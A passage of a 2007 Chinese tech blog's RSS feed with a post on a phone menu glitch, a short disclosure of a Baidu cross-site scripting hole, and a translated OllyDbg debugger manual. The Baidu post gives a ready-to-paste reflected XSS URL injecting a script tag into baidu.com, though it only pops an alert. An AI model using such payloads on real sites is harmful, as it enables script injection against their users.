			<wfw:commentRss>http://clin003.com/safe/2007-enterprise-edition-installation-of-office-then-suggested-that-activation-solution-245/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>E2手机病毒?</title>
		<link>http://clin003.com/exploits/e2-phone-menu-215/</link>
		<comments>http://clin003.com/exploits/e2-phone-menu-215/#comments</comments>
		<pubDate>Sun, 16 Dec 2007 08:45:43 +0000</pubDate>
		<dc:creator>白菜林</dc:creator>
				<category><![CDATA[今日一点]]></category>
		<category><![CDATA[安全]]></category>
		<category><![CDATA[推荐,内容]]></category>
		<category><![CDATA[漏洞]]></category>
		<category><![CDATA[E2]]></category>
		<category><![CDATA[复位]]></category>
		<category><![CDATA[安全密码]]></category>
		<category><![CDATA[手机病毒]]></category>
		<category><![CDATA[菜单]]></category>

		<guid isPermaLink="false">http://wz.mygogou.com/exploits/e2-phone-menu-215.shtml</guid>
		<description><![CDATA[漫不经心的打开主菜单，天!竞只剩固定拨号，神州行，，几个图标!我的第一感觉就是中病毒啦?不太可能吧!一个小小的e2?难到是昨晚电用完时的非法关机。试着关机开机几遍都没作用。奇怪啦，快捷键都能用(可以重新设置，只能看见应用程序，看不见系统设置类的菜单!)，就是从主菜单没法找到!，最后终于在侧面语音功能中找到&#8221;复位&#8221;菜单，只有删除全部的复位功能把主菜单找回来啦，感谢ing，不过代价是短信，通信录等手机上存的资料统统丢失，内存卡上的软件要重新下过用设置依然。明白啦e2安全密码是在手机复位时用到和锁定密码不同!
Related posts:Testing phone post看到技术文章很稀奇——张翼：跳出PC局限用手机授权防御木马手机嗅探扫描，窃&#8230;千脑（原名TOMOS）——在线电脑Google新年logoCopyright &#169; 2007-2009 This feed is building by Lin's Space&#124;Only and 我的爬行JI - IT资讯精读.本文地址：http://clin003.com/exploits/e2-phone-menu-215/  雁过留言. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)]]></description>
			<content:encoded><![CDATA[<p>漫不经心的打开主菜单，天!竞只剩固定拨号，神州行，，几个图标!我的第一感觉就是中病毒啦?不太可能吧!一个小小的e2?难到是昨晚电用完时的非法关机。试着关机开机几遍都没作用。奇怪啦，快捷键都能用(可以重新设置，只能看见应用程序，看不见系统设置类的菜单!)，就是从主菜单没法找到!，最后终于在侧面语音功能中找到&#8221;复位&#8221;菜单，只有删除全部的复位功能把主菜单找回来啦，感谢ing，不过代价是短信，通信录等手机上存的资料统统丢失，内存卡上的软件要重新下过用设置依然。<br />明白啦e2安全密码是在手机复位时用到和锁定密码不同!</p>
<hr /><h2>Related posts:</h2><ul><li><a href="http://clin003.com/about/testing-phone-post-183/" rel="bookmark" title="Permanent Link: Testing phone post">Testing phone post</a></li><li><a href="http://clin003.com/technical-analysis/zhang-yi-limitations-of-using-a-mobile-phone-to-set-aside-pc-trojan-defense-authorization-546/" rel="bookmark" title="Permanent Link: 看到技术文章很稀奇——张翼：跳出PC局限用手机授权防御木马">看到技术文章很稀奇——张翼：跳出PC局限用手机授权防御木马</a></li><li><a href="http://clin003.com/safe/phone-sniffer-484/" rel="bookmark" title="Permanent Link: 手机嗅探扫描，窃&#8230;">手机嗅探扫描，窃&#8230;</a></li><li><a href="http://clin003.com/web2o-webos/qiannao-webos-232/" rel="bookmark" title="Permanent Link: 千脑（原名TOMOS）——在线电脑">千脑（原名TOMOS）——在线电脑</a></li><li><a href="http://clin003.com/google/google-newyear2008-logo-268/" rel="bookmark" title="Permanent Link: Google新年logo">Google新年logo</a></li></ul><hr /><small>Copyright &copy; 2007-2009<br /> This feed is building by <a href="http://clin003.com/">Lin's Space|Only</a> and <a href="http://hi.clin003.com/">我的爬行JI - IT资讯精读</a>.<br />本文地址：<a href="http://clin003.com/exploits/e2-phone-menu-215/" >http://clin003.com/exploits/e2-phone-menu-215/</a> <br /> <a href="http://clin003.com/exploits/e2-phone-menu-215/#comment" title="to the comments">雁过留言</a>. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)</small>]]></content:encoded>
			<wfw:commentRss>http://clin003.com/exploits/e2-phone-menu-215/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>百度跨站漏洞：当前日期(date): 2007-11-24 星期六</title>
		<link>http://clin003.com/exploits/baidu-inter-station-loopholes-2007-11-24-196/</link>
		<comments>http://clin003.com/exploits/baidu-inter-station-loopholes-2007-11-24-196/#comments</comments>
		<pubDate>Sat, 24 Nov 2007 08:45:28 +0000</pubDate>
		<dc:creator>白菜林</dc:creator>
				<category><![CDATA[安全]]></category>
		<category><![CDATA[推荐,内容]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://wz.mygogou.com/exploits/baidu-inter-station-loopholes-2007-11-24-196.shtml</guid>
		<description><![CDATA[百度跨站漏洞，小漏洞，大危害！
影响版本：
当前日期(date): 2007-11-24 星期六
此漏洞属于跨站漏洞，希望大家不要利用此漏洞去挂马！
直接复制下面的地址到IE浏览器中去看效果吧：(实验时自行去掉中间的空格)
http://www.baidu.com/index.php?tn=&#8221;&#62;http://www.baidu.com/index.php?tn=&#8221;&#62;&#60; script&#62;alert(/wiki.mygogou.com/)&#60; /script&#62;
把这段代码中间的网址修改成我们的首页地址：
http://www.baidu.com/index.php?tn=&#8221;&#62;http://wiki.mygogou.com=&#8221;&#62;&#60; script&#62;alert(/wiki.mygogou.com/)&#60; /script&#62;
wiki地址：http://wiki.mygogou.com/doc-view-744.html 
Related posts:百度搜索联盟广告跨站漏洞腾讯体验中心跨站漏洞及利用想法如何教孩子摄影百度准备自杀啦？谷歌改版啦？谷歌彩蛋？Copyright &#169; 2007-2009 This feed is building by Lin's Space&#124;Only and 我的爬行JI - IT资讯精读.本文地址：http://clin003.com/exploits/baidu-inter-station-loopholes-2007-11-24-196/  雁过留言. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)]]></description>
			<content:encoded><![CDATA[<p>百度跨站漏洞，小漏洞，大危害！<br />
影响版本：<br />
当前日期(date): 2007-11-24 星期六<br />
此漏洞属于<a href="http://wiki.mygogou.com/doc.php?action=view&amp;title=%E8%B7%A8%E7%AB%99%E6%BC%8F%E6%B4%9E" class="innerlink">跨站漏洞</a>，希望大家不要利用此漏洞去挂马！</p>
<p>直接复制下面的地址到IE浏览器中去看效果吧：(实验时自行去掉中间的空格)<br />
http://www.baidu.com/index.php?tn=&#8221;&gt;http://www.baidu.com/index.php?tn=&#8221;&gt;&lt; script&gt;alert(/wiki.mygogou.com/)&lt; /script&gt;</p>
<p>把这段代码中间的网址修改成我们的首页地址：<br />
http://www.baidu.com/index.php?tn=&#8221;&gt;http://wiki.mygogou.com=&#8221;&gt;&lt; script&gt;alert(/wiki.mygogou.com/)&lt; /script&gt;</p>
<p><a href="http://wiki.mygogou.com/doc-view-744.html">wiki地址：http://wiki.mygogou.com/doc-view-744.html </a></p>
<hr /><h2>Related posts:</h2><ul><li><a href="http://clin003.com/exploits/baidu-search-advertising-across-union-station-loopholes-792/" rel="bookmark" title="Permanent Link: 百度搜索联盟广告跨站漏洞">百度搜索联盟广告跨站漏洞</a></li><li><a href="http://clin003.com/exploits/tencent-experience-center-loopholes-and-the-use-of-inter-station-idea-503/" rel="bookmark" title="Permanent Link: 腾讯体验中心跨站漏洞及利用想法">腾讯体验中心跨站漏洞及利用想法</a></li><li><a href="http://clin003.com/suggested-contents/how-to-teach-children-photography-141/" rel="bookmark" title="Permanent Link: 如何教孩子摄影">如何教孩子摄影</a></li><li><a href="http://clin003.com/ideas/baidu-ready-to-commit-suicide-1485/" rel="bookmark" title="Permanent Link: 百度准备自杀啦？">百度准备自杀啦？</a></li><li><a href="http://clin003.com/suggested-contents/is-google-facelift-169/" rel="bookmark" title="Permanent Link: 谷歌改版啦？谷歌彩蛋？">谷歌改版啦？谷歌彩蛋？</a></li></ul><hr /><small>Copyright &copy; 2007-2009<br /> This feed is building by <a href="http://clin003.com/">Lin's Space|Only</a> and <a href="http://hi.clin003.com/">我的爬行JI - IT资讯精读</a>.<br />本文地址：<a href="http://clin003.com/exploits/baidu-inter-station-loopholes-2007-11-24-196/" >http://clin003.com/exploits/baidu-inter-station-loopholes-2007-11-24-196/</a> <br /> <a href="http://clin003.com/exploits/baidu-inter-station-loopholes-2007-11-24-196/#comment" title="to the comments">雁过留言</a>. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)</small>]]></content:encoded>
			<wfw:commentRss>http://clin003.com/exploits/baidu-inter-station-loopholes-2007-11-24-196/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>OllyDbg详解</title>
		<link>http://clin003.com/safe/ollydbg-detailed-explanation-173/</link>
		<comments>http://clin003.com/safe/ollydbg-detailed-explanation-173/#comments</comments>
		<pubDate>Wed, 07 Nov 2007 05:26:44 +0000</pubDate>
		<dc:creator>白菜林</dc:creator>
				<category><![CDATA[安全]]></category>
		<category><![CDATA[OllyDbg]]></category>

		<guid isPermaLink="false">http://wz.mygogou.com/safe/ollydbg-detailed-explanation/</guid>
		<description><![CDATA[OllyDbg详解
一，什么是 OllyDbg？
OllyDbg 是一种具有可视化界面的 32 位汇编-分析调试器。它的特别之处在于可以在没有源代码时解决问题，并且可以处理其它编译器无法解决的难题。
Version 1.10 是最终的发布版本。 这个工程已经停止，我不再继续支持这个软件了。但不用担心：全新打造的 OllyDbg 2.00 不久就会面世！
运 行环境： OllyDbg 可以以在任何采用奔腾处理器的 Windows 95、98、ME、NT 或是 XP（未经完全测试）操作系统中工作，但我们强烈建议您采用300-MHz以上的奔腾处理器以达到最佳效果。还有，OllyDbg 是极占内存的，因此如果您需要使用诸如追踪调试［Trace］之类的扩展功能话，建议您最好使用128MB以上的内存。
支持的处理器： OllyDbg 支持所有 80&#215;86、奔腾、MMX、3DNOW！、Athlon 扩展指令集、SSE指令集以及相关的数据格式，但是不支持SSE2指令集。
配置： 有多达百余个（天呀！）选项用来设置 OllyDbg 的外观和运行。
数据格式： OllyDbg 的数据窗口能够显示的所有数据格式：HEX、ASCII、UNICODE、 16/32位有/无符号/HEX整数、32/64/80位浮点数、地址、反汇编（MASM、IDEAL或是HLA）、PE文件头或线程数据块。
帮助： 此文件中包含了关于理解和使用 OllyDbg 的必要的信息。如果您还有 Windows API 帮助文件的话（由于版权的问题 win32.hlp 没有包括在内），您可以将它挂在 OllyDbg 中，这样就可以快速获得系统函数的相关帮助。
启动： 您可以采用命令行的形式指定可执行文件、也可以从菜单中选择，或直接拖放到OllyDbg中，或者重新启动上一个被调试程序，或是挂接［Attach］一个正在运行的程序。OllyDbg支持即时调试。OllyDbg根本不需要安装，可直接在软盘中运行！
调试DLLs： 您可以利用OllyDbg调试标准动态链接库 (DLLs)。OllyDbg 会自动运行一个可执行程序。这个程序会加载链接库，并允许您调用链接库的输出函数。
源码级调试： OllyDbg 可以识别所有 Borland 和 Microsoft 格式的调试信息。这些信息包括源代码、函数名、标签、全局变量、静态变量。有限度的支持动态（栈）变量和结构。
代码高亮： OllyDbg 的反汇编器可以高亮不同类型的指令（如：跳转、条件跳转、入栈、出栈、调用、返回、特殊的或是无效的指令）和不同的操作数（常规［general］、
FPU/SSE、段/系统寄存器、在栈或内存中的操作数，常量）。您可以定制个性化高亮方案。
线程： OllyDbg 可以调试多线程程序。因此您可以在多个线程之间转换，挂起、恢复、终止线程或是改变线程优先级。并且线程窗口将会显示每个线程的错误（就像调用 GETLASTERROR 返回一样）。
分 [...]]]></description>
			<content:encoded><![CDATA[<p>OllyDbg详解</p>
<p>一，什么是 OllyDbg？</p>
<p>OllyDbg 是一种具有可视化界面的 32 位汇编-分析调试器。它的特别之处在于可以在没有源代码时解决问题，并且可以处理其它编译器无法解决的难题。</p>
<p>Version 1.10 是最终的发布版本。 这个工程已经停止，我不再继续支持这个软件了。但不用担心：全新打造的 OllyDbg 2.00 不久就会面世！</p>
<p>运 行环境： OllyDbg 可以以在任何采用奔腾处理器的 Windows 95、98、ME、NT 或是 XP（未经完全测试）操作系统中工作，但我们强烈建议您采用300-MHz以上的奔腾处理器以达到最佳效果。还有，OllyDbg 是极占内存的，因此如果您需要使用诸如追踪调试［Trace］之类的扩展功能话，建议您最好使用128MB以上的内存。</p>
<p>支持的处理器： OllyDbg 支持所有 80&#215;86、奔腾、MMX、3DNOW！、Athlon 扩展指令集、SSE指令集以及相关的数据格式，但是不支持SSE2指令集。</p>
<p>配置： 有多达百余个（天呀！）选项用来设置 OllyDbg 的外观和运行。</p>
<p>数据格式： OllyDbg 的数据窗口能够显示的所有数据格式：HEX、ASCII、UNICODE、 16/32位有/无符号/HEX整数、32/64/80位浮点数、地址、反汇编（MASM、IDEAL或是HLA）、PE文件头或线程数据块。</p>
<p>帮助： 此文件中包含了关于理解和使用 OllyDbg 的必要的信息。如果您还有 Windows API 帮助文件的话（由于版权的问题 win32.hlp 没有包括在内），您可以将它挂在 OllyDbg 中，这样就可以快速获得系统函数的相关帮助。</p>
<p>启动： 您可以采用命令行的形式指定可执行文件、也可以从菜单中选择，或直接拖放到OllyDbg中，或者重新启动上一个被调试程序，或是挂接［Attach］一个正在运行的程序。OllyDbg支持即时调试。OllyDbg根本不需要安装，可直接在软盘中运行！</p>
<p>调试DLLs： 您可以利用OllyDbg调试标准动态链接库 (DLLs)。OllyDbg 会自动运行一个可执行程序。这个程序会加载链接库，并允许您调用链接库的输出函数。</p>
<p>源码级调试： OllyDbg 可以识别所有 Borland 和 Microsoft 格式的调试信息。这些信息包括源代码、函数名、标签、全局变量、静态变量。有限度的支持动态（栈）变量和结构。</p>
<p>代码高亮： OllyDbg 的反汇编器可以高亮不同类型的指令（如：跳转、条件跳转、入栈、出栈、调用、返回、特殊的或是无效的指令）和不同的操作数（常规［general］、<br />
FPU/SSE、段/系统寄存器、在栈或内存中的操作数，常量）。您可以定制个性化高亮方案。</p>
<p>线程： OllyDbg 可以调试多线程程序。因此您可以在多个线程之间转换，挂起、恢复、终止线程或是改变线程优先级。并且线程窗口将会显示每个线程的错误（就像调用 GETLASTERROR 返回一样）。</p>
<p>分 析：OllyDbg 的最大特点之一就是分析。它会分析函数过程、循环语句、选择语句、表［tables］、常量、代码中的字符串、欺骗性指令［tricky constructs］、API调用、函数中参数的数目，import表等等。. 这些分析增加了二进制代码的可读性，减少了出错的可能性，使得我们的调试工作更加容易。</p>
<p>Object扫描。 OllyDbg 可以扫描Object文件/库（包括 OMF 和 COFF 格式），解压代码段［code segments］并且对其位置进行定向。</p>
<p>Implib扫描。 由于一些DLL文件的输出函数使用的索引号，对于人来说，这些索引号没有实际含义。如果您有与DLL相应的输入库［import library］，OllyDbg 就可以将序号转换成符号名称。</p>
<p>完全支持Unicode： 几乎所有支持 ASCII 的操作同时也支持 UNICODE，反之亦然。</p>
<p>名 称： OllyDbg 可以根据 Borland 和 Microsoft 格式的调试信息，显示输入/输出符号及名称。Object 扫描器可以识别库函数。其中的名称和注释您可任意添加。如果DLL中的某些函数是通过索引号输出的，则您可通过挂接输入库［import library］来恢复原来的函数名称。不仅如此，OllyDbg还能识别大量的常量符号名（如：窗口消息、错误代码、位域［bit fields］…）并能够解码为已知的函数调用。</p>
<p>已知函数：OllyDbg 可以识别 2300 多个 C 和 Windows API 中的常用函数及其使用的参数。您可以添加描述信息、预定**码。您还可以在已知函数设定 Log 断点并可以对参数进行记录。</p>
<p>函数调用： OllyDbg 可以在没有调试信息或函数过程使用非标准的开始部分［prolog］和结尾部分［epilog］的情况下，对递归调用进行回溯。<br />
译者注：<br />
004010D0   push ebp         \<br />
004010D1   mov   ebp,esp     |<br />
004010D3   sub   esp,10h     |prolog<br />
004010D6   push ebx           |<br />
004010D7   push esi           |<br />
004010D8   push edi         /<br />
……<br />
004010C5   pop   edi         \<br />
004010C6   pop   esi           |<br />
004010C7   pop   ebx         |epilog<br />
004010C8   mov   esp,ebp     |</p>
<p>004010CA   pop   ebp         |<br />
004010CB   ret               /</p>
<p>栈：在栈窗口中，OllyDbg 能智能识别返回地址和栈框架［Stack Frames］。并会留下一些先前的调用。如果程序停在已知函数上，堆栈窗口将会对其参数进行分析解码。</p>
<p>译者注：栈框架［Stack Frames］是指一个内存区域，用于存放函数参数和局部变量。</p>
<p>SEH 链： 跟踪栈并显示结构化异常句柄链。全部链会显示在一个单独的窗口中。</p>
<p>搜 索：方法真是太多了！可精确、模糊搜索命令或命令序列，搜索常数，搜索二进制、文本字符串，搜索全部命令地址，搜索全部常量或地址域［address range］，搜索所有能跳到选定地址的跳转，搜索所有调用和被调用的函数，搜索所有参考字符串，在不同模块中搜索所有调用、搜索函数名称，在全部已分配 的内存中搜索二进制序列。如果搜索到多个结果，您可以对其进行快速操作。</p>
<p>窗口：OllyDbg 能够列出关于调试程序中的各种窗口，并且可以在窗口、类甚至选定的消息上设置断点。</p>
<p>资源：如果 Windows API 函数使用了参考资源串，OllyDbg 可以显示它。其支持显示的类型仅限于附带资源［attached resources］的列表、数据显示及二进制编辑、。</p>
<p>断 点： OllyDbg 支持各种断点：一般断点、条件断点、记录断点（比如记录函数参数到记录窗口）、内存读写断点、硬件断点（只适用于ME/NT/2000）等。在Hit跟踪 情况下，可以在模块的每条命令上都设置INT3断点。在使用500-MHZ处理器的 Windows NT 中，OllyDbg 每秒可以处理高达 5000 个中断。</p>
<p>监视与监察器：每个监视都是一个表达式并能实时显示表达式的值。您可以使用寄存器、常数、地址表达式、布尔值以及任何复杂代数运算，您还可以比较ASCII和UNICODE<br />
字符串。监察器［inspectors］是一种包含了两个的索引序列的监视［Watches］，它以二维表的形式呈现，可以允楹徒峁菇薪饴敕治觥?nbsp;</p>
<p>Heap walk.：在基于Win95的系统中，OllyDbg 可以列出所有的已分配的堆。</p>
<p>句柄：在基于NT的系统中，OllyDbg 可列出被调试程序的所有系统句柄。</p>
<p>执行：.您可以单步执行、步入子程序或者步过子程序。您也可以执行程序直到函数返回时、执行到指定地址处，还可以自动执行。当程序运行时，您仍然可以操纵程序并能够查看内存、设置断点甚至修改代码。您也可以任意的暂停或重启被调试的程序。</p>
<p>Hit跟踪：.Hit跟踪可以显示出目前已执行的指令或函数过程，帮助您检验代码的各个分支。Hit跟踪会在指定指令到达之前设置断点，而在这个指令执行后，会把这个断点清除掉。</p>
<p>译者注：Hit在英文中是“击中”的意思，指令如果运行了就表示这个指令被“击中”了，没有执行的指令就是“未击中”，这样我们就很容易看出被调试程序哪些部分运行了，而哪些没有运行。</p>
<p>Run 跟踪： Run跟踪可以单步执行程序，它会在一个很大的循环缓冲区中模拟运行程序。这个模拟器包含了除了SSE指令集以外的所以寄存器、标志、线程错误、消息、已 经函数的参数。您可以保存命令，这样可以非常方便地调试自修改代码（译者注：比如加壳程序）。您可以设置条件中断，条件包括地址范围、表达式、命令。您可 以将Run<br />
跟踪信息保存到一个文件中，这样就可以对比两次运行的差别。Run跟踪可以回溯分析已执行过的上百万条命令的各种细节。</p>
<p>统计： 统计［Profiler］可以在跟踪时计算某些指令出现的次数。因此您就能了解代码的哪一部分被频繁执行。</p>
<p>补 丁：内置汇编器能够自动找到修改过的代码段。二进制编辑器则会以ASCII、UNICODE或者十六进制的形式同步显示修改后的数据。修改后的数据同其它 数据一样，能够进行复制-粘贴操作。原来的数据会自动备份，以便数据恢复时使用。您可以把修改的部分直接复制到执行文件中，OllyDbg会自动修正。 OllyDbg还会记录以前调试过程中使用的所有补丁。您可以通过空格键实现补丁的激活或者禁止。</p>
<p>自解压文件： 当调试自解压文件时，您往往希望跳过解压部分，直接停在程序的原始入口点。OllyDbg的自解压跟踪将会使您实现这一目的。如果是加保护的自解压段，自解压跟踪往往会失败。而一旦OllyDbg找到了入口点，它将会跳过解压部分，并准确的到达入口点。</p>
<p>插 件：您可以把自己的插件添加到 OllyDbg 中，以增加新的功能。OllyDbg 的插件能够访问几乎所有重要的数据的结构、能够在 OllyDbg 的窗口中添加菜单和快捷键，能够使用100个以上的插件API函数。插件API函数有详细的说明文档。默认安装已经包含了两个插件：命令行插件和书签插 件。</p>
<p>UDD：OllyDbg 把所有程序或模块相关的信息保存至单独的文件中，并在模块重新加载时继续使用。这些信息包括了标签、注释、断点、监视、分析数据、条件等等</p>
<p>更多：这里介绍的功能，仅仅是 OllyDbg 的部分功能。因为其具有如此丰富的功能，以至于 OllyDbg 能成为非常方便的调试器！</p>
<p>二，一般原理［General principles］</p>
<p>我希望您能对80&#215;86系列处理器的内部结构有所了解，同时具有一定的编写汇编程序的能力。对于Microsoft Windows方面的知识，您也要熟悉。</p>
<p>OllyDbg 是运行在Windows 95、Windows 98、Windows ME、Windows NT 和 Windows 2000系统下的一个单进程、多线程的分析代码级调试工具。它可以调试PE格式的执行文件及动态链接库，并可以对其打补丁。“代码级”意味着您可以直接与 比特、字节或处理器指令打交道。OllyDbg 仅使用已公开的 Win32 API 函数，因此它可以在所有 Windows 操作系统及后继版本中使用。但是由于我没有对 XP 系统进行彻底测试，因此不能保证 OllyDbg 功能的充分发挥。注意：OllyDbg 不支持对 .NET 程序的调试。</p>
<p>OllyDbg不是面向编译器的。它没有特别的规则规定必须是哪一个编译器产生的代码。因此，OllyDbg可以非常好的处理通过编译器生成的代码，或是直接用汇编写入的代码。</p>
<p>OllyDbg 可以并行调试程序。您无须暂停执行程序，就可以浏览代码和数据，设置断点、停止或恢复线程，甚至直接修改内存。（这可以视为一种软件调试的模式，与之相对 的硬件模式则是当进程在运行时调试器被阻滞，反之亦然）。假使所需的操作比较复杂，OllyDbg会让进程终止一小段时间，但是这种暂停对于用户来说是透 明的。</p>
<p>有时进程会发生非法操作。您可以把OllyDbg设置成即时［just-in-time］调试器，它会挂接出错程序，并停在程序产生异常的地方。</p>
<p>通过OllyDbg，您可以调试单独的DLL［standalone DLLs］文件。操作系统不能直接运行 DLL 文件，因此 OllyDbg 将一个可以加载 DLL 的小程序压缩到资源里，这个程序允许您调用最多10个参数的输出函数。</p>
<p>OllyDbg是完全面向模块[module-oriented]的。模块［Module］包括可执行文件（扩展名通常为.EXE）和在启动时加载或需要时动态加载的动态链接库（扩展名通常为.DLL<br />
）。 在调试期间，您可以设置断点［breakpoints］、定义新的标签［labels］、注释［comment］汇编指令，当某个模块从内存中卸载 ［unload］时，调试器会把这些信息保存在文件中，文件名就是模块的名称，扩展名为.UDD（表示 用户自定义文件［User-Defined Data］）当OllyDbg下一次加载该模块时，它会自动恢复所有的调试信息，而不管是哪一个程序使用这个模块。假设您正在调试程序Myprog1，这 个程序使用了Mydll。您在 Mydll 中设置了一些断点，然后您开始调试Myprog2，这个程序同样使用了Mydll。这时您会发现，所有 Mydll 中的断点依然存在，即使 Mydll 加载到不同的位置！</p>
<p>一些调试器把被调试进程的内存当作一个单一的（并且大部分是空的） 大小为2 ^32字节的区域。OllyDbg采用了与之不同的技术：在这里，内存由许多独立的块组成，任何对内存内容的操作都被限制在各自的块内。在大多数情况下， 这种方式工作得很好并且方便了调试。但是，如果模块包含好几个可执行段［executable sections］，您将不能一次看到全部代码，然而这种情况是非常少见的。</p>
<p>OllyDbg 是一个很占用内存的程序［memory-hungry application］。它在启动时就需要 3 MB，并且当您第一次装载被调试的程序时还需要一到两兆的内存。每一次的分析、备份、跟踪或者文件数据显示都需要占用一定的内存。因此当您调试一个很大的 项目，发现程序管理器显示有 40 或 60 兆内存被占用时，请不要惊慌。</p>
<p>为了有效地调试一些不带源码的程序，您必须首先理解它是如何工作的。OllyDbg 包含的大量特性可以使这种理解变得非常容易。</p>
<p>首 先，OllyDbg包含一个内置的代码分析器。分析器遍历整个代码，分出指令和数据，识别出不同的数据类型和过程，分析出标准API函数（最常用的大约有 1900个）的参数并且试着猜出未知函数的参数数目。您也可以加入自己的函数说明［your own function descriptions］。它标记出程序入口点和跳转目的地，识别出跳转表［table-driven switches］和指向字符串的指针，加入一些注释，甚至标示出跳转的方向等等。在分析结果的基础上，调用树［call tree］显示哪些函数被指定过程调用（直接或间接）并且识别出递归调用、系统调用和叶子过程［leaf procedures］。如果需要的话，您可以设置解码提示［decoding hints］来帮助分析器解析那些不明确的代码或数据。</p>
<p>OllyDbg 还包含Object扫描器［Object Scanner］。如果您有库文件［libraries］或目标文件［object files］，扫描器会在被调试的程序中定位这些库函数。在全部函数调用中，对标准函数的调用占很重要的一部分（据我估计可达70%）。如果您知道正要被 调用的函数的功能，您就不必把注意力集中在这个函数上，可以简单地单步步过［<br />
step over］这个call。分析器知道400多个标准C函数，比如fopen和memcpy。然而我必须承认当前版本的OllyDbg不能定位很短的函数（比一个return命令多不了多少的）或相似的函数（只在重定位上有不同）。</p>
<p>Object 扫描器[Object scanner]也能够识别输入库[import libraries]。如果某个DLL是按序号输出的，您不会看到函数名，只会发现一堆无意义的神秘数字。这种DLL的开发者通常会提供一个输入库来实现 函数符号名与序号间的对应。让OllyDbg使用这个输入库，它就会恢复原始的函数符号名。</p>
<p>面向对象的语言（如C++），使用了一种叫做名称修饰［name mangling］的技术，把函数类型和参数都加入函数名中。OllyDbg 可以解码［demangle］这种函数名，使程序更易读。</p>
<p>译 者注：C++的名称修饰是编译器将函数的名称转变成为一个唯一的字符串的过程，这个字符串会对函数的类、其命名空间、其参数表，以及其他等等进行编码。C ++的名称修饰适用于静态成员函数，也适用于非静态成员函数。静态函数的名称修饰的一个好处之一，是能够在不同的类里使用同一个名称来声明两个或者更多的 静态成员函数&#8212;-而不会发生名称上的冲突。</p>
<p>OllyDbg完全支持 UNICODE，几乎所有对 ASCII 字符串的操作都可以同样应用于 UNICODE。</p>
<p>汇 编指令都是很相似的。您经常会搞不清自己是不是已经跟踪过某一段代码。在 OllyDbg 中您可以加入自己的标签［labels］和注释［comments］。这些极大地方便了调试。注意一旦您注释了某个DLL，以后每次加载这个DLL时，注 释和标签都有效&#8212;-尽管您在调试不同的程序。</p>
<p>OllyDbg可以跟踪标准的栈帧［stack frames］（由PUSH EBP; MOV EBP,ESP所创建的）。现代编译器有禁止产生标准栈框架的选项，在这种情况下分配栈［stack walk<br />
］是不可能的。当程序运行到已知的函数时，栈窗口［stack window］解析它的参数，调用栈［Call stack］窗口显示到达当前位置所调用函数的序列。</p>
<p>现代的面向对象应用程序广泛地使用了一种叫做结构化异常处理［Structured Exception Handling,SHE］的技术。SHE窗口［SEH window］ 可以显示异常处理链。</p>
<p>多种不同的搜索［search］选项可以让您找到二进制代码或数据、命令或命令序列、常量或字符串、符号名或在 Run跟踪中的一条记录。</p>
<p>对 于任何地址或常量，OllyDbg 可以找出参考［referencing］到该地址或常量的全部命令的列表。然后您可以在这个列表里找出对您来说是重要的参考。举例来说，某个函数可能被直 接调用，或者经过编译器优化后把地址放入寄存器间接调用，或者把地址压入堆栈作为一个参数&#8212;-没问题，OllyDbg 会找出所有这样的地方。它甚至能找到并列出所有和某个指定的位置有关的跳转。（真的？哦，天哪！……）</p>
<p>OllyDbg 支持所有标准类型的断点［breakpoints］&#8212;-非条件和条件断点、内存断点（写入或访问）、硬件断点或在整个内存块上下断点（后两项功能只在 Window ME,NT,2000,XP中有效）。条件表达式可以非常复杂（“当 [ESP+8] 的第 2 位被设置，并且 123456 位置处的字［word］小于10，或者 EAX 指向一个以“ABC”开头的 UNICODE 字串，但跳过前10次断点而在第11次中断”）。您可以设定一条或多条指令，当程序暂停时由OllyDbg传递给插件插件［plugins］。除了暂停， 您还可以记录某个表达式的值（可以带有简短的说明），或者记录 OllyDbg 已知的函数的参数。在Athlon 2600+、Windows2000 环境下，OllyDbg 可以每秒处理多达 25000 个条件断点。</p>
<p>另一个有用的特性是跟踪。 OllyDbg 支持两种方式的跟踪：hit和run。在第一种情况下，它对指定范围内的每条指令上设置断点（比如在全部可执行代码中）。当到达设断的指令后， OllyDbg 清除断点并且把该指令标记为hit。这种方法可以用来检测某段代码是否被执行。Hit跟踪速度惊人的快，在一个很短时间的启动后程序几乎达到了全速（译者 注：这应该是与不进行调试时速度相比而言）。因为INT3断点可能对数据有灾难性的影响，所以我建议不要使用模糊识别过程。当代码没有被分析时Hit跟踪 是不可以使用的。</p>
<p>Run跟踪［Run trace］是一步一步地执行程序，同时记录精确的运行历史和所有寄存器的内容、已知的参数和可选的指令（当代码是自修改时会有帮助）。当然，这需要大量 的内存（每个指令需要15至50个字节，取决于调试的模式）但是可以精确地回溯和分析。您可以只在选定的一段代码甚至是一条指令中进行Run跟踪，或者您 可以跳过无关紧要的代码。对于每个地址，OllyDbg能够计算这个地址在Run跟踪日志中出现的次数，虽然会导致执行缓慢但是可以得到代码执行的统计。 比如说，某命令让您在每个已识别的过程入口处进行Run跟踪，那么统计［profile］就会给您每个过程被调用的次数。在到达某条指令、某个地址范围或 指令计数器达到某一数值时Run跟踪可以自动地暂停［pause］。</p>
<p>在多线程程序里OllyDbg可以自动管理线程［threads］，如果您单步调试或跟踪程序，它会自动恢复当前线程而挂起其它线程。如果您运行程序，OllyDbg 会恢复先前的线程状态。</p>
<p>您 可以为内存块建立快照（叫做备份）。OllyDbg会高亮显示所有的改动。您可以把备份保存到文件或从文件中读取出来，从而发现两次运行的不同之处。您可 以查看备份，搜索下一处改动，恢复全部或选定的改动。补丁管理器［Patch manager］记录了上次应用到程序中的所有补丁，在下次调试时可以再次应用它们。</p>
<p>您可以很容易地把您的补丁加在可执行文件上。OllyDbg 会自动进行修正。</p>
<p>您不能在带有 Win32 的16位 Windows 下使用 OllyDbg。这种32位扩展操作系统无法实现某些必需的调试功能。</p>
<p>您既不能调试 DOS 程序也不能调试16位 NE（New Executable）格式文件，我也没有打算在未来的版本中支持这些。安息吧，古老而美好的命令提示符！</p>
<p>三，反汇编器［Disassembler］</p>
